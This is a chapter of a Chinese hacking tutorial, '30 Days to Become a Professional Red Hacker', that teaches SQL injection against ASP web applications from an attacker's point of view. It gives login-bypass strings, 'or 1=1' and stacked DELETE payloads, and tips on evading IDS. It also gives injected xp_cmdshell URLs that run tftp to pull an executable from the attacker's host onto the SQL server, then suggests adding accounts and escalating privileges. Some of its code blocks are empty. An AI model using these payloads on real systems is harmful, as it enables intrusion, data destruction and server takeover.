《30天打造专业红客》第21章

SQL语句中，轻则获得敏感的信息，重则控制服务器。SQL　injection并不紧紧局限在Mssql数据库中，Access、Mysql、Oracle、Sybase都可以进行SQL　injection攻击。　这个昨天有提到但不全面今天我特地再说一遍。
SQL　injection使得攻击者能够利用　Web　应用程序中某些疏于防范的输入机会动态生成特殊的　SQL　指令语句。举一个常见的例子：　
某　Web　网站采用表单来收集访问者的用户名和密码以确认他有足够权限访问某些保密信息，然后该表单被发送到　Web　服务器进行处理。接下来，服务器端的ASP　脚本根据表单提供的信息生成　SQL　指令语句提交到　SQL　服务器，并通过分析　SQL　服务器的返回结果来判断该用户名/密码组合是否有效。　
为了实现这样的功能，Web　程序员可能会设计两个页面：一个　HTML　页面　（Login。htm）　用于登录，另一个ASP　页面　（ExecLogin。asp）　用于验证用户权限（即向数据库查询用户名/密码组合是否存在）。具体代码可能象这样：　
Login。htm　（HTML　页面）　
代码：　Username：　
Password：　
ExecLogin。asp　（ASP　页面）　
代码：　
乍一看，ExecLogin。asp　的代码似乎没有任何安全漏洞，因为用户如果不给出有效的用户名/密码组合就无法登录。然而，这段代码偏偏不安全，而且它正是SQL　指令植入式攻击的理想目标。具体而言，设计者把用户的输入直接用于构建SQL　指令，从而使攻击者能够自行决定即将被执行的　SQL　指令。例如：攻击者可能会在表单的用户名或密码栏中输入包含“　or　”和“=”　等特殊字符。于是，提交给数据库的　SQL　指令就可能是：　
代码：SELECT　*　FROM　tblUsers　WHERE　Username=""　or　""=""　and　Password　=　""　or　""=""　
这样，SQL　服务器将返回　tblUsers　表格中的所有记录，而　ASP　脚本将会因此而误认为攻击者的输入符合　tblUsers　表格中的第一条记录，从而允许攻击者以该用户的名义登入网站。　
SQL　指令植入式攻击还有另一种形式，它发生在　ASP　服务器根据　querystring　参数动态生成网页时。这里有一个例子，此　ASP　页面从　URL　中提取出　querystring　参数中的　ID　值，然后根据　ID　值动态生成后继页面：　
代码：　
在一般情况下，此　ASP　脚本能够显示具有特定　ID　值的文章的内容，而　ID　值是由　URL　中的　querystring　参数指定的。例如：当URL为　http：//。example。/Article。asp？ID=1055　时，ASP　就会根据　ID　为　1055　的文章提供的内容生成页面。　
如同前述登录页面的例子一样，此段代码也向SQL　指令植入式攻击敞开了大门。有些用户（比如我们）可能会把　querystring　中的文章　ID　值偷换为“0　or　1=1”等内容（也就是说，把　URL　换成　http：//。example。/Article。asp？ID=0　or　1=1）　从而诱使　ASP　脚本生成不安全的　SQL　指令如：　
代码：SELECT　*　FROM　tblArticles　WHERE　ID=0　or　1=1　
于是，数据库将会返回所有文章的内容。　
当然了，本例服务器所受的攻击不一定会引起什么严重后果。可是如果我们变本加厉，比如用同样的手段发送　DELETE　等　SQL　指令。这只需要简单地修改前述　URL　中的　querystring　参数就可以了！例如：任何人都可以通过　“http：//。example。/Article。asp？ID=1055；　DELETE　FROM　tblArticles　”　之类的　URL　来访问　Web　网站。　
但程序毕竟是各种各样的，有些可以通过修改URL数据来提交命令或语句，有些则不行，不能打URL的主意，怎么办呢？通过修改标签内的value的值也可以提交我们构造的语句，SQL　injection是很灵活的技术，但我们的目的只有一个，就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。　
在大多数ASP站点中，我们并不知道其程序代码，*任何扫描器也不可能发现SQL　injection漏洞，这时就要*手工检测了，由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“……”，所以我们就在可修改的URL后加上以上符号，或在表单中的文本框加上这些符号，比如：　
代码：　
http：//localhost/show。asp？id=1"　
http：//localhost/show。asp？id=1；　
……
通过页面返回的信息，判断是否存在SQL　injection漏洞，只是最简单的通过字符过滤来判断，根据IIS配置不同，返回的信息是不定的，有时显示
Microsoft　OLE　DB　Provider　for　ODBC　Drivers　错误　"80040e21"　
ODBC　驱动程序不支持所需的属性。　
/register/lostpass2。asp，行15
有时可能会显示“HTTP　500　…　内部服务器错误”，也可能显示原来的页面，也就是页面正常显示，更可能提示“HTTP　404　–　找不到该页”，判断是否有漏洞就要有个最基本的根据——经验，这个就*大家自己去领悟了。
如果能拿到源代码就更好了，可以通过分析源代码来发现ASP文件的问题，不过这要求有较高的编程功底，最近PsKey就发现了不少程序存在SQL　injection漏洞。最近越发的开始崇拜PSkey了
提交数据
我们判断出一个ASP程序存在SQL　injection漏洞以后就要构造我们的语句来对服务器进行操作了，一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程，xp_cmdshell是一个非常有用的扩展存储过程，用于执行系统命令，比如dir，我们可以根据程序的不同，提交不同的语句，下例语句仅仅是个参考，告诉大家这个原理，实际情况视程序而定，照搬不一定成功，下同。　
代码：　
http：//localhost/show。asp？id=1；　exec　master。dbo。xp_cmdshell　"dir"；……　
http：//localhost/show。asp？id=1"；　exec　master。。xp_cmdshell　"dir"……
正如前面所说，提交这样的信息浏览器会返回出错信息或500错误，我们怎么才能知道执行是否成功呢？isno的办法是用nc监听本机端口，然后提交nslookup命令来查询，我个人觉得有些麻烦，直接用tftp来有多种好处，能知道命令是否成功执行；能获得SQL服务器的IP从而判断SQL服务器的位置；还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令，在玩unicode漏洞的时候大家就炉火纯青了吧？列如：
代码：　
http：//localhost/show。asp？id=1；　exec　master。dbo。xp_cmdshell　"tftp　–i　youip　get　file。exe"；……　
http：//localhost/show。asp？id=1"；　exec　master。。xp_cmdshell　"tftp　–i　youip　get　file。exe"……
有时提交的数据并不一定起作用，看你怎么绕过程序的检测了，如果幸运成功的话，可以看到tftp软件的窗口出现从本机下载文件的信息了。　
对话框中的IP地址就是SQL服务器的IP，可以根据这个IP判断SQL服务器处于什么位置，和web服务器一起，在局域网内，还是单独的服务器，就自己判断了，此知识点不在本文讨论范围内，就此略过。命令执行成功以后，就可以替换单引号中的内容，添加用户、提升权限做什么都随便大家了，不过要看看连接SQL服务器的这个角色是什么组的